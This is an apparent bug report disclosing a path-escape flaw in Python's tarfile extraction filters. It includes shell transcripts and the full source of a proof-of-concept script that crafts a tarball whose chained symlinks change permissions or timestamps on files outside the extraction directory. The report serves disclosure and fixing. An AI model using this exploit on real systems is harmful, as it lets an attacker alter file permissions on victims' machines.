TarFile.extractall(..., filter='tar') arbitrary file chmod

TarFile.extractall() can be tricked into chmodding arbitrary file (outside of the destination directory) to 0755, despite using filter='tar':

$ target=$(mktemp)
$ defeatpep706 eggs.tar $target
$ ls -l $target
-rw------- 1 jwilk jwilk 0 Dec 16 12:00 /tmp/tmp.uxCZC0Zs3F
$ python3 -m tarfile --filter=tar -e eggs.tar $(mktemp -d)
$ ls -l $target
-rwxr-xr-x 1 jwilk jwilk 0 Jan  1  1970 /tmp/tmp.uxCZC0Zs3F

filter='data' is vulnerable too, although in that case the damage is limited to updating the file timestamp:

$ target=$(mktemp)
$ defeatpep706 eggs.tar $target
$ ls -l $target
-rw------- 1 jwilk jwilk 0 Dec 16 12:01 /tmp/tmp.WeCifOsQmp
$ python3.12 -m tarfile --filter=data -e eggs.tar $(mktemp -d)
$ ls -l $target
-rw------- 1 jwilk jwilk 0 Jan  1  1970 /tmp/tmp.WeCifOsQmp

Here's the source for the defeatpep706 script:

#!/usr/bin/python3

import argparse
import os
import tarfile

ap = arparse = argparse.ArgumentParser()
ap.add_argument('tarpath', metavar='TARBALL')
ap.add_argument('target', metavar='TARGET')
opts = ap.parse_args()
target = os.path.abspath(opts.target)

with tarfile.open(opts.tarpath, 'w') as tar:

    def addmemb(name, **kwargs):
        memb = tarfile.TarInfo(name)
        for k, v in kwargs.items():
            getattr(memb, k)
            setattr(memb, k, v)
        tar.addfile(memb)

    # lrw-r--r-- pwn -> .
    addmemb('pwn', type=tarfile.SYMTYPE, linkname='.')
    # "pwn" is a very innocent symlink.

    # drwxrwxrwx pwn/
    addmemb('pwn', type=tarfile.DIRTYPE, mode=0o777)
    # But now "pwn" is also a directory, so it's scheduled to have its
    # metadata updated later.

    # lrw-r--r-- pwn -> x/x/x/x/⋯⋯⋯/x/../../../../⋯⋯⋯/../TARGET
    addmemb('pwn', type=tarfile.SYMTYPE, linkname=('x/' * 99 + '../' * 99 + target))
    # Oops, "pwn" is not so innocent any more.
    # But technically it's still pointing inside the dest dir,
    # so it doesn't upset the "data" filter.

    # lrw-r--r-- x/x/x/x/⋯⋯⋯/x -> ../../../⋯⋯⋯/..
    addmemb(('x/' * 99), type=tarfile.SYMTYPE, linkname=('../' * 98))
    # The newly created symlink symlink points to the dest dir,
    # so it's OK for the "data" filter.
    # But now "pwn" points to the target (outside the dest dir).

Tested with Python 3.12.8.

Linked PRs